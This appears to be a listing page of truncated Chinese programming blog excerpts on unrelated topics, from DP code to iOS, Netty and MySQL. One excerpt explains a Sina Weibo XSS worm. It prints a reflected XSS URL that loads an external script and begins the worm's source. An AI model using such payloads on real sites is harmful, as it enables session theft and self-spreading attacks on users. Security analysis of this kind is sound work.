以下内容源于朱有鹏嵌入式课程的学习与整理&#xff0c;如有侵权请告知删除。 前言 本文将详细介绍博文第二季3&#xff1a;sample_venc.c的整体分析提及的“创建配置编码通道”。 我们首先介绍VENC模块相关的概念&#xff0c;然后绘制该模块的函数调用关系图谱&#xff0c;…

hdu 1176 馅饼

略微简单的动态规划 只是简单贴代码就好了。 #include <stdio.h> #include <string.h>int dp[100007][11]; int ans[100007][11]; int n,N;inline int Max(int x,int c){return x>c?x:c; } int v[16]; void DP() {int i,j;memset(v,0,sizeof(v));memset(ans,0,…

iOS开发-Get请求,Post请求,同步请求和异步请求

标题中的Get和Post是请求的两种方式&#xff0c;同步和异步属于实现的方法&#xff0c;Get方式有同步和异步两种方法&#xff0c;Post同理也有两种。稍微有点Web知识的&#xff0c;对Get和Post应该不会陌生&#xff0c;常说的请求处理响应&#xff0c;基本上请求的是都是这两个…

新浪微博之XSS蠕虫脚本源码讲解

主要是因为新浪的广场页面有几个链接对输入参数过滤不严导致的反射性XSS。 微博XSS漏洞点 weibo.com/pub/star/g/xyyyd%22%3e%3cscript%20src//www.****.com/images/t.js%3e%3c/script%3e?typeupdate 微博XSS脚本内容(XSS源码)function createXHR(){ return window.XMLHttpRe…

Wireshark下载安装和使用教程

本文转载于Wireshark下载安装和使用教程。 Wireshark&#xff08;前身 Ethereal&#xff09;是一个网络包分析工具。该工具主要是用来捕获网络数据包&#xff0c;并自动解析数据包&#xff0c;为用户显示数据包的详细信息&#xff0c;供用户对数据包进行分析。它可以运行在 Wi…

Cortex-M3 动态加载一(地址无关代码实现)

这篇文章是自己疑惑究竟地址无关性是如何实现&#xff0c;然后查看汇编和CPU指令手册&#xff0c;最后分析解除自己疑惑的&#xff0c;高手不要鄙视&#xff0c;哈哈。 编译C代码时候需要制定--acps/ropi选项&#xff0c;如下例子&#xff1a; 1 void SystemInit(void)2 {3 }4 …

C#使用Log4Net记录日志【转】

第一步&#xff1a;下载Log4Net 下载地址&#xff1a;http://logging.apache.org/log4net/download_log4net.cgi 把下载的 log4net-1.2.11-bin-newkey解压后&#xff0c;如下图所示&#xff1a; 双击bin文件夹 双击net文件夹&#xff0c;选择针对.NET FramerWork的不同版本 找…

Map实现之HashMap(结构及原理)(转)

java.util包中的集合类包含 Java 中某些最常用的类。最常用的集合类是 List 和 Map。List 的具体实现包括 ArrayList 和 Vector&#xff0c;它们是可变大小的列表&#xff0c;比较适合构建、存储和操作任何类型对象元素列表。List 适用于按数值索引访问元素的情形。 Map 则提供…

mysql对表中添加属性_菜鸟笔记—数据分析师MySQL篇(一)

简单说一下我写这份学习笔记的原因&#xff0c;由于工作的原因&#xff0c;想换一份工作&#xff0c;对于毕业已经快6年了&#xff0c;再次重新学习就需要付出很大的勇气和努力&#xff0c;如果态度还不能及时调整&#xff0c;最近找工作遇到的窘境就不言而喻了。去年底报了一个…

matlab打开笔记本摄像头_如何解决笔记本电脑摄像头异常问题

如果您遇到笔记本电脑相机异常问题(无法侦测视讯装置、视讯无画面、视讯画面异常、视讯画面颠倒等等)&#xff0c;请参考以下疑难解答方式依序尝试。提供应用程序权限 / 检查防病毒软件/ 更新Windows Update / 更新相机驱动程序/透过系统还原点还原系统/ 系统还原1. 提供应用程…

边框颜色为 tintColor 的 UIButton

创建一个 UIButton 的子类&#xff0c;重写其方法&#xff1a; - (void)drawRect:(CGRect)rect {[[self layer] setCornerRadius:CORNER_RADIUS];[[self layer] setMasksToBounds:YES]; [[self layer] setBorderWidth:1];[[self layer] setBorderColor:self.tintColor.CGColo…

netty SimpleChannelInboundHandler类继承使用

2019独角兽企业重金招聘Python工程师标准>>> 继承一个SimpleChannelInboundHandler来实现我们的Client&#xff0c;我们需要重写其中的三个方法&#xff1a; package NettyDemo.echo.handler;import io.netty.buffer.ByteBuf; import io.netty.buffer.ByteBufUtil; …

高中关于人工智能方面的课题_如何看待计算机专业开始设置人工智能课程

首先&#xff0c;当前计算机专业当中设置与人工智能相关的课程是一个必然的趋势&#xff0c;随着人工智能技术开始逐渐实现落地应用&#xff0c;未来计算机相关专业的课程当中&#xff0c;人工智能课程的比重也会逐渐提升&#xff0c;而且一定要重视这些课程&#xff0c;这对于…

Linux命令-目录处理命令:mkdir

mkdir /tmp/beijing mkdir -p /tmp/shijiazhuang/yuhuaqu 一条命令可以同时创建父目录和子目录 mkdir /tmp/beijing/chaoyangqu /tmp/beijing/dongchengqu /tmp/beijing/tongzhouqu 同时创建多个目录

tableau 倒序都倒了_Tableau优秀作品拆解复刻01-是时候终结瘘管病了

写在最前面&#xff1a;这个复刻系列是学习tableau官网库中的优秀作品。学习他们亮眼图表的制作细节&#xff0c;仪表板的排版&#xff0c;颜色的搭配以及交互。tableau库的链接&#xff1a;优秀作品都在这里展示。库​public.tableau.com1 整体布局 颜色&#xff1a; 采用橙色…

目前最细致清晰的NSDictionary以及NSMutableDictionary用法总结(转)

做过Java语言 或者 C语言 开发的朋友应该很清楚 关键字map 吧&#xff0c;它可以将数据以键值对儿的形式储存起来&#xff0c;取值的时候通过KEY就可以直接拿到对应的值&#xff0c;非常方便。在Objective-C语言中 词典对象就是做这个事情的&#xff0c;不过在同一个词典对象中…

android string数组转json_移动端开发基础【20】pages.json的配置项pages

uni-app项目是通过pages节点配置应用由哪些页面组成&#xff0c;pages节点接收一个数组&#xff0c;数组每个项都是一个对象&#xff0c;其属性值如下&#xff1a;(1) 属性&#xff1a;path类型&#xff1a;String描述&#xff1a;配置页面路径(2) 属性&#xff1a;style类型&a…